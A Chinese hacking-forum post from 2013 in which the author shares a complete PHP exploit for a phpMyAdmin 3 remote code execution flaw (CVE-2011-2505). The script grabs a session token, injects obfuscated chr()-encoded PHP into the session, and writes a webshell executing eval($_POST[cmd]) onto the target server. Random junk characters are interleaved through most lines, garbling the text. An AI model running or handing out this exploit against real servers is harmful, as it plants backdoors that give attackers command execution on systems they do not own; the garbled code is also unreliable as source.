找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2213|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。$ S8 ?8 N* z# e. A
" S: f3 E/ H. t: E
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
9 x1 u4 e- l3 Q6 W0 G8 B+ M" R; S2 X& q! L
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
! i1 e' Z0 \2 |2 |) T- z& K0 E一是session.auto_start = 1;
9 K: ^8 m) r% ]二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。# R7 C! J; Q! b; X) |( k5 M
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。( F1 X+ ~; b; {9 I

( d# S; I4 P9 F9 S7 Z, J7 g% C在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
6 g  L1 _+ r& Z8 M4 I$ A, W+ U, S4 A( ~/ p
于是写了这个php版本的exp,代码如下:  \; V0 V# a6 w

+ r2 f0 N, ?) ?+ Q7 B#!/usr/bin/php
! y5 m* l9 W5 H2 A+ ]<?php
5 G% t3 ?. q3 j& g3 Z% h2 fprint_r('
, V1 x# a9 I% h1 l+---------------------------------------------------------------------------+4 e( }+ ~- `. X" @2 G* g  g& E+ D% E6 V
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]" T  g/ w/ X4 i/ V
by oldjun(www.oldjun.com)
1 X/ q2 w- q2 X' {* ?! H( vwelcome to www.t00ls.net' ~9 t) l- `9 ^  x4 ]
mail: oldjun@gmail.com
+ P9 S" S' w$ q' p9 a5 Z- OAssigned CVE id: CVE-2011-2505
. X, p; n! X, y# @2 N2 c9 v6 L; i+---------------------------------------------------------------------------+& }2 b! p  |& M+ e- m5 t8 W; Y
');
* p+ U! z6 |* W5 T, f8 g0 [2 f1 j3 L" a" t2 w/ t+ g8 c% u
/**6 }( D. O0 x( f! S# x, L9 Z
* working when the directory:"config" exists and is writeable.
; E) u! k4 X' c3 O+ l/ ?8 h**/. A: s  Z2 o) i: p. w) x) |
+ M! I+ h1 {8 x& r: c/ S! p% r
if ($argc < 3) {
, a8 ~* E2 ]8 W7 p    print_r('
! x/ r0 E  s) \/ Q+---------------------------------------------------------------------------+' ]  K4 F! B8 i- W; ^" |
Usage: php '.$argv[0].' host path2 Z- j3 }. M! ^0 x8 p. V
host:      target server (ip/hostname)
# p$ G8 k) B2 }path:      path to pma3
; F1 t  B. I& k5 l% \( T: VExample:& }, s8 O. O$ ]8 m" U! j$ V
php '.$argv[0].' localhost /pma/) T, Y( a* |  T1 [" L
+---------------------------------------------------------------------------+( R; M1 S0 S" g& i( j5 W( y8 l  k# R
');: O2 b, }1 D! s& h, b0 e' \
    exit;
. u1 n5 }6 h% x8 ]9 u0 Y6 V}1 R* }1 J0 Z# t( r8 h/ H

1 j0 m. R( ?- z3 Q% d+ n; }$host = $argv[1];6 c& X# @6 I! I1 \. _1 ~
$path = $argv[2];7 ?! I& P  T: z7 A, k, m6 F) F! X: S: N% ?
6 B; B. B# g" ~
/**! c% I7 l7 s! l5 q; V2 F3 L
* Try to determine if the directory:"config" exists
7 t6 |. b  D1 F6 h7 `" `; o**/+ J5 U8 J% i; T1 I
echo "[+] Try to determine if the directory:config exists....\n";
: Y8 i9 [9 }$ x, S$returnstr=php_request('config/');
# o! T& |* e0 O, n8 g1 Yif(strpos($returnstr,'404')){  W: j  Q6 |' u
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
: K7 v, [0 O& s( u( F% S0 l3 s4 u0 D}/ q5 ]0 }1 K) m5 e$ |

0 q4 |  K( _% p  y& c/**
  P" J* C4 ^! J) u * Try to get token and sessionid
; W7 a7 a- K! z# U7 ~% v**/
) k+ L0 B$ ]+ B# y4 \+ @echo "[+] Try to get token and sessionid....\n";
5 ~: d  ?. m7 J  f8 W( }+ L) u  H$result=php_request('index.php');
2 u$ Z8 p* O% @  E3 |7 Mpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
8 i* ]4 W& N2 R$ O$token=$resp[3];# R. v3 l, R5 L% S
$sessionid=$resp[1];! ?! i' v6 O/ U% M9 g
if($token && $sessionid){8 r! u  q) }/ r( o, ^" P
    echo "[+] tokentoken\n";
' S8 Y; J0 `4 e4 I    echo "[+] Session IDsessionid\n";) N& k9 H. T/ l. }! @
}else{
, l9 E' V. ]6 E3 N" r/ U0 D% O' B    exit("[-] Can't get token and Session ID,Exploit Failed!\n");9 ?0 s5 p6 d/ G% ]# [; g
}4 Q' Y( O4 J0 M2 A" t( y4 o+ l0 W

+ ^8 P) m6 ]8 [- C3 H$ w5 g/**, a; ^* S+ y5 Q! d
* Try to insert shell into session
: p0 ?, O7 U# ^' V**/) D; k+ x& l1 L6 v- ^
echo "[+] Try to insert shell into session....\n";' a5 }; o: j) s1 K8 L. ~2 g5 r
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
" @! q5 i9 u. R$ \; ]* m6 K3 x/ V/ F0 W+ R& Q& [" y' X9 O
/**4 [4 C+ x% A$ a% j
* Try to create webshell4 W: s; f. o/ }
**/
4 P6 ]; ~; h2 c; d6 necho "[+] Try to create webshell....\n";
4 \; |0 A- c' V; i8 M: jphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);$ i7 `' k4 r4 n7 }- ~. e! j2 P
/**
4 L/ P7 @7 J  R) \ * Try to check if the webshell was created successfully
8 G* e7 z, j$ t% b**/2 i* v* C& \) P
echo "[+] Try to check if the webshell was created successfully....\n";  U+ d* Y9 I/ N/ F5 b
$content=php_request('config/config.inc.php');+ D( s/ ?! \  r( g7 x7 A" g
if(strpos($content,'t00ls')){( Z! Q8 H7 d: k8 y$ E
    echo "[+] Congratulations! Expoilt successfully....\n";/ D% K* o. g  X0 l0 f! t
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
% Y) }' z2 w5 w" K$ \* P4 D}else{; w$ n& A0 R! a- r
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
% X- O! `2 p3 E5 X5 _}& g' |" y5 |, {$ u. s
, O" ?/ o9 p  z, U8 |! j
function php_request($url,$data='',$cookie=''){# w' o' P' T! U6 O5 \2 X, x
    global  $host, $path;" B3 V9 ~- Q: ^/ Q6 l2 l: K7 k
   
! g* T0 U/ \: c/ A9 ?    $method=$data?'POST':'GET';
6 e8 D8 r/ U- i) b8 [   
" x0 H+ O- T  V    $packet = $method." ".$path.$url." HTTP/1.1\r\n";2 s/ F7 Q  l/ W' Y! J) W
    $packet .= "Accept: */*\r\n";
0 U4 h/ |8 s; R9 E1 @    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";/ y4 q4 g$ y% X" y! v
    $packet .= "Host: $host\r\n";& H* F" @; v% @1 v
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
! I  \2 w  j, F. p0 P0 X; W3 \    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";' Q% q4 k3 e5 G: r
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
  C1 T" T  i! w* v& C* p    $packet .= "Connection: Close\r\n\r\n";6 e( I, h% X, e, a
    $packet .= $data?$data:"";4 L9 @* j. A% m3 G& H, t8 w2 a" Q
2 Y* _' O& }7 g. _
    $fp = fsockopen(gethostbyname($host), 80);, s! I0 z" v3 k5 u4 k
    if (!$fp) {! S5 t$ @% s5 K) p: |
    echo 'No response from '.$host; die;
- I7 R4 R; }6 N. Z4 d5 G9 q    }
5 N& O' c( r  t5 i4 `$ V* i    fputs($fp, $packet);' t+ b- P- D* A4 f. z% ^' f
  l& R6 o' w5 v
    $resp = '';; I9 J! G  J4 Q# K
7 ]8 `0 M3 |! j9 ~0 ~
    while ($fp && !feof($fp))
! H# J  B5 D* g, U( J- B6 M        $resp .= fread($fp, 1024);# f- C6 J6 V/ Z3 k

8 d8 }! g1 m: c    return $resp;
2 C5 H" Y3 @. q  h7 O: B. w}. S1 q) X5 Q! L1 x" f5 J( k2 O
    9 i1 }5 z7 Z5 s+ o+ u; i7 q" m+ ?
?>
4 h  d0 U! J' V5 l.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表